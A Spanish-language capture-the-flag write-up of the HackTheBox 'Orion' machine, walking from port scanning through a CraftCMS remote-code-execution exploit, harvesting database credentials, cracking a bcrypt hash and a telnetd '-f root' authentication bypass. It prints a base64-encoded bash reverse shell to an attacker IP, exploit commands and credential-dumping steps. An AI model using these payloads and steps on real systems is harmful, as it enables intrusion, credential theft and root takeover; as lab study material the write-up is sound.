Ir al contenido
  1. Writeups/

HackTheBox - Orion

·6 mins
Nicolás Seral
Autor
Nicolás Seral
bla bla bla bla
  • Dificultad: easy
  • Tiempo aprox.: ~50min
  • Datos Iniciales: 10.129.244.146

Enumeración inicial
#

Empezamos con un escaneo de puertos, que encuentra lo siguiente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
$ sudo nmap -sT -Pn -p- 10.129.244.146 # Encuentra los puertos 22,80
$ sudo nmap -sT -Pn -p22,80 -sVC 10.129.244.146 # Indica http://orion.htb/, lo añadimos a /etc/hosts

$ sudo nmap -sT -Pn -p22,80 -sVC orion.htb     
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Orion Telecom
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • 22/tcp (OpenSSH 8.9p1): Sin vulnerabilidades relevantes.
  • 80/tcp (nginx 1.18.0): Página web de “Orion Telecom”, tendremos que entrar para ver más.

Puerto 80, HTTP
#

Entramos a la página en orion.htb, encontramos lo siguiente:

Orion Telecom parece ser una empresa que ofrece infraestructura de red (backbones) y otros servicios.

Probando XSS
#

En la página solo aparece un formulario de contacto que tiene los campos Name, Email y Message. Podemos probar a enviar un payload XSS en los campos en los que se nos permita (normalmente todos menos email, que tiene que seguir un formato estricto).

Si lo enviamos, lo único que recibimos es An error occurred. Please try again later., pero no nos llega ninguna solicitud indicando que el posible XSS haya tenido éxito. Si modificamos el campo email con BurpSuite y mandamos un payload XSS ahí también, pasará lo mismo, así que un XSS no parece ir a servirnos.

De todas formas, las solicitudes enviadas van hacia /api/contact, así que podemos enumerar algún endpoint.

CraftCMS y Yii Framework
#

Si solicitamos al endpoint /api/contact manualmente, veremos esto:

Aquí podemos ver que el CMS usado es CraftCMS, como se indica en alguna ruta. Esto podíamos haberlo visto igualmente usando whatweb o Wappalyzer:

1
2
3
4
5
6
$ whatweb http://orion.htb       
http://orion.htb [200 OK] Country[RESERVED][ZZ], Email[your.email@company.com]
...[SNIP]...
PoweredBy[CraftCMS]
...[SNIP]...
X-Powered-By[Craft CMS], nginx[1.18.0]

De todas formas, en la página del error, al final del todo, veremos más información de las tecnologías usadas. Más específicamente, vemos también Yii Framework/2.0.51.

Si buscamos más acerca de esta versión, daremos con el CVE-2024-58136. Según el reporte de Rapid7, este CVE es un bypass de un patch al CVE-2024-4990 anterior, y suele usarse junto con otro CVE de CraftCMS, específicamente el CVE-2025‑32432

Si comprobamos los CVE que tenemos apuntados ya, veremos que el CVE-2025‑32432 tiene un POC público, así que lo usamos.

1
2
3
4
5
6
7
8
$ echo '/bin/bash -i >& /dev/tcp/10.10.15.75/4444 0>&1' | base64
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE1Ljc1LzQ0NDQgMD4mMQo=

$ python3 exploit.py -u http://orion.htb -c "echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE1Ljc1LzQ0NDQgMD4mMQo=' | base64 -d | bash"
...[SNIP]...
[] Valid asset ID found: 1 (HTTP 200)
[+] Stage 4: Triggering RCE via PhpManager gadget chain...
[+] Target session file: /var/lib/php/sessions/sess_rh3v7opdbip1iam4n04jv3uk36

Y en el listener:

1
2
3
4
5
6
7
8
9
$ penelope -i 10.10.15.75
[+] Listening for reverse shells on 10.10.15.75:4444 
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from orion~10.129.244.146-Linux-x86_64 😍️ Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12 
─────────────────────────────────────────────────────────────────
www-data@orion:~/html/craft/web$

Movimiento lateral
#

Entramos como www-data. Antes de nada enumeramos otros usuarios y miramos puertos abiertos locales por si hay alguna DB (como suele ser el caso en CMS).

1
2
3
4
www-data@orion:~/html/craft/web$ cat /etc/passwd | grep -vE 'false|nologin'
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
adam:x:1000:1000::/home/adam:/bin/bash

Tenemos el user adam, y si miramos puertos locales:

1
2
3
4
5
www-data@orion:~/html/craft/web$ netstat -tnlp | grep 127.0.0.1
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:23            0.0.0.0:*               LISTEN      -

Vemos que están abiertos los puertos 23 (Correspondiente a telnet, pero es raro?), y 3306 (MySQL, a por el que vamos a ir).

Para iniciar sesión en MySQL necesitamos conocer las credenciales del servicio, que posiblemente estén guardadas en algún archivo del CMS. Si buscamos dónde las guarda CraftCMS, veremos que están en .env, un archivo con variables de entorno.

Dado que somos usuario www-data, es posible que dichas variables de entorno estén cargadas en nuestra sesión. Esto podemos comprobarlo fácilmente:

1
2
3
4
5
6
7
8
9
www-data@orion:~/html/craft/web$ env | grep DB
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=orion
CRAFT_DB_TABLE_PREFIX=
CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!
CRAFT_DB_SCHEMA=

Ahí la tenemos, SuperSecureCraft123Pass!. Antes de nada, probamos a iniciar sesión como adam por si se reutilizan credenciales:

1
2
3
www-data@orion:~$ su adam
Password: # SuperSecureCraft123Pass!
su: Authentication failure

Ha fallado. En cualquier caso, entramos a la DB.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
www-data@orion:~$ mysql -u root -p'SuperSecureCraft123Pass!'
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 716
Server version: 10.6.23-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04

MariaDB [(none)]> use orion
MariaDB [orion]> show tables;
# Salen bastantes (66), destaca "users".
MariaDB [orion]> select id,admin,username,email,password from users;
+----+-------+----------+----------------+--------------------------------------------------------------+
| id | admin | username | email          | password                                                     |
+----+-------+----------+----------------+--------------------------------------------------------------+
|  1 |     1 | admin    | adam@orion.htb | $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS |
+----+-------+----------+----------------+--------------------------------------------------------------+
1 row in set (0.000 sec)

Tenemos un hash bcrypt. Podemos descifrarlo con john.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$ john hash --wordlist=/usr/share/wordlists/rockyou.txt      
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
darkangel        (?)     
1g 0:00:00:12 DONE (2026-07-24 18:39) 0.07739g/s 55.72p/s 55.72c/s 55.72C/s gloria..marissa
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Y ahí vemos que la contraseña es darkangel. Ahora probamos a cambiar de usuario a adam con la contraseña recién conseguida:

1
2
3
www-data@orion:~$ su adam
Password: # darkangel
adam@orion:/var/www$

Privesc
#

Primero enumeramos lo evidente.

1
2
3
4
# INFO DEL SISTEMA
adam@orion:~$ cat /etc/os-release | head -n 1 && uname -a
PRETTY_NAME="Ubuntu 22.04.5 LTS"
Linux orion 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
1
2
3
4
# PRIVILEGIOS SUDO
adam@orion:~$ sudo -l
[sudo] password for adam: 
Sorry, user adam may not run sudo on orion.

Telnet
#

Antes de seguir enumerando, recordemos que había un puerto abierto en localhost, el 23 (telnet?), podemos intentar descubrir qué hay escuchando ahí. Si intentamos conectarnos, veremos que efectivamente es telnet.

1
2
3
4
5
6
7
8
adam@orion:~$ telnet localhost 23
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.

Linux 5.15.0-177-generic (orion) (pts/1)

orion login:

Si miramos la versión:

1
2
3
adam@orion:~$ telnet --version
telnet (GNU inetutils) 2.7
...

Y al buscar más acerca de esa versión exacta, daremos con los CVEs CVE-2026-24061 (Authentication Bypass) y CVE-2026-32746 (Buffer Overflow). La primera de ellas permite que un atacante obtenga un shell como root de forma inmediata.

Tras una búsqueda, encontramos un exploit público. Vamos a ver si funciona.

Lo copiamos, ejecutamos, y…

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
adam@orion:/tmp$ python3 exploit.py 127.0.0.1 23 root
============================================================
CVE-2026-24061 Exploit - telnetd Auth Bypass
============================================================
[+] Connected to 127.0.0.1:23
[*] Interactive mode - type commands
[+] Exploit sent: USER='-f root'

Linux 5.15.0-177-generic (orion) (pts/1)
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-177-generic x86_64)

root@orion:~#

Tenemos root.

Relacionados

HackTheBox - PermX

·6 mins
OS: Linux | Dificultad: Easy | Conceptos: Enumeración de subdominios, Chamilo RCE, File Upload, Reutilización de contraseñas, Escalada de privilegios mediante Symlink y setfacl con sudo

HackTheBox - TwoMillion

·10 mins
OS: Linux | Dificultad: Easy | Conceptos: Enumeración de API, Command Injection, Reutilización de credenciales, OverlayFS LPE

HackTheBox - Enigma

·17 mins
OS: Linux | Dificultad: Easy | Conceptos: NFS anónimo, filtración de credenciales en IMAP, OpenSTAManager, CVE Público, reutilización de credenciales, credenciales MySQL hardcodeadas, Command Injection en OliveTin